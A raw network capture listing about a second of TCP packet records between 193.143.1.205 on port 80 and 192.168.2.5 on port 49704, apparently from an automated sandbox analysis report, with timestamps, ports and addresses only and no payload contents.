Jan 10, 2025 17:13:07.967912912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967921972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967943907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967950106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967958927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967969894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967983961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967993975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967998981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968025923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968033075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968046904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968049049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968055010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968065023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968094110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968108892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968122959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968128920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968137026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968147993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968169928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968184948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968194962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968199015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968214035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968236923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968326092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968336105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968348980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968360901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968379021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968384981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968401909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968413115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968421936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968430996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968436956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968447924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968461990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968465090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968485117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968512058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968529940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968544006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968555927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968556881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968569994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968580961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968611956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968650103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968678951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968689919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968703032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968724966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968749046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968842030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968853951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968872070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968884945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968893051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968899012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968909979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968931913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968944073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968955994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968959093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968971014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.968976974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.968987942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969010115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969037056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969048023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969060898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969074965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969083071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969086885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969130039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969178915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969191074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969201088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969295025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969305038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969319105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969320059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969331980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969348907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969360113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969372988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969383955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969396114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969407082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969571114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969573975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969584942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969597101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969608068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969621897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969626904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969635963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969655991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969657898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969675064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969695091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969696999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969708920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969721079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969724894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969733953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969752073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969754934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.969788074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.969814062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.977358103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977372885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977385044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977400064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977411032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977426052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977440119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.977458000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.977511883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.980902910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980916023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980928898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980947971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980966091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980982065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.980983973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.980994940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.981028080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.981053114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.015853882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.015908957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.015935898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.015971899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.015969992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.015990973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016005993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.016006947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016020060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016033888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016045094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016062975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016082048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016083956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.016094923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016109943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016113043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.016122103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016134024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016144991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016145945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.016159058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.016170025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.016186953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.025846004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.032491922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054434061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054475069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054487944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054502010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054506063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054512978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054527044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054533958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054537058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054608107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054737091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054758072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054804087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054820061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054831982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054851055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054862022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054867983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054874897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054898977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.054959059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054976940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.054994106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055002928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055006027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055020094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055035114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055038929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055083036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055083990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055100918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055113077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055139065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055140018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055150986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055162907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055182934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055191040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055222034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055231094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055269957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055280924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055294037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055305004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055326939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055334091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055346012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055375099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055386066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055402994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055417061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055418015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055429935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055448055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055479050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055538893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055552959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055567026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055578947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055586100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055593967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055604935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055619955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055620909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055649996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055685043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055696011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055720091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055721045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055740118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055754900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055757046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055767059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055794001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055803061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055815935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055830002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055843115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055850029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055869102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055916071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055936098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055952072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055959940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.055979013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055994034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.055996895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056006908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056018114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056040049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056066990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056241035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056257963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056271076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056282043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056297064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056305885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056309938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056324959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056330919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056338072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056349039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056365967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056380033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056385994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056397915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056410074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056431055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056432962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056446075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056451082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056457996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056469917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056492090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056509972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056516886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056521893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056535006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056548119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056556940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056562901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056571960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056577921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056612968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.056669950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056725979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.056756020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.092705965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.092731953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.092808962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.092962980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.092983007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.092997074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093012094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093015909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093024969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093035936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093050957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093055010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093106031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093122959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093135118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093147993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093158960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093170881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093177080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093187094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093215942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093235970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093246937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093260050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093270063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.093282938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.093301058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.102894068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.102974892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.102988958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103002071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103018045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103034019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103034973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.103045940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103056908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.103080034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.103096008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141359091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141429901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141441107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141453028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141464949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141475916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141480923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141489029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141500950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141521931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141530991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141545057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141552925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141591072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141603947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141616106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141628027 CET	80	49704	193.143.1.205	192.168.2.5
